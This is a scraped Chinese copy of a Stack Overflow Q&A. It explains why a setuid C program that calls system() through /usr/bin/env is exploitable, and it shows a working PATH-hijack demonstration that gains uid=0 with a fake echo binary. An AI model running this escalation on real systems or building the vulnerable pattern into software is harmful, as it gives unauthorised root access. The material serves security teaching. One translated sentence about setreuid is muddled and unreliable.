gpt4 book ai didi

c - 这段 C 代码有什么漏洞?

转载 作者:IT老高 更新时间:2023-10-28 12:39:32 24 4
gpt4 key购买 nike

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

int main(int argc, char **argv, char **envp)
{
gid_t gid;
uid_t uid;
gid = getegid();
uid = geteuid();

setresgid(gid, gid, gid);
setresuid(uid, uid, uid);

system("/usr/bin/env echo and now what?");

}

按照我的理解,上面的代码允许任意代码(或程序)执行——是什么导致了这个漏洞,以及如何利用这一点?

最佳答案

您可以覆盖 PATH 变量以指向具有自定义版本的 echo 的目录,并且由于 echo 是使用 执行的env,它不被视为内置。

仅当代码以特权用户身份运行时,这才构成漏洞。

在下面的示例中,文件 v.c 包含问题中的代码。

$ cat echo.c
#include <stdio.h>
#include <unistd.h>

int main() {
printf("Code run as uid=%d\n", getuid());
}
$ cc -o echo echo.c
$ cc -o v v.c
$ sudo chown root v
$ sudo chmod +s v
$ ls -l
total 64
-rwxr-xr-x 1 user group 8752 Nov 29 01:55 echo
-rw-r--r-- 1 user group 99 Nov 29 01:54 echo.c
-rwsr-sr-x 1 root group 8896 Nov 29 01:55 v
-rw-r--r-- 1 user group 279 Nov 29 01:55 v.c
$ ./v
and now what?
$ export PATH=.:$PATH
$ ./v
Code run as uid=0
$

注意在调用system()之前调用setresuid()设置真实用户ID、有效用户ID和保存的set-user-ID在问题中发布的易受攻击的代码中,即使仅将有效用户 ID 设置为特权用户 ID 并且真实用户 ID 保持无特权(例如依赖 set-user-ID 位一个文件如上)。如果不调用 setresuid(),由 system() 运行的 shell 会将有效用户 ID 重置为真实用户 ID,从而使漏洞利用无效。然而,当易受攻击的代码使用特权用户的真实用户 ID 运行时,单独调用 system() 就足够了。引用 sh 手册页:

If the shell is started with the effective user (group) id not equal to the real user (group) id, and the -p option is not supplied, no startup files are read, shell functions are not inherited from the environment, the SHELLOPTS variable, if it appears in the environment, is ignored, and the effective user id is set to the real user id. If the -p option is supplied at invocation, the startup behavior is the same, but the effective user id is not reset.

另外,请注意 setreuid() 不可移植,但 setuid()setreuid() 也可用于效果一样。

关于c - 这段 C 代码有什么漏洞?,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/8304396/

24 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com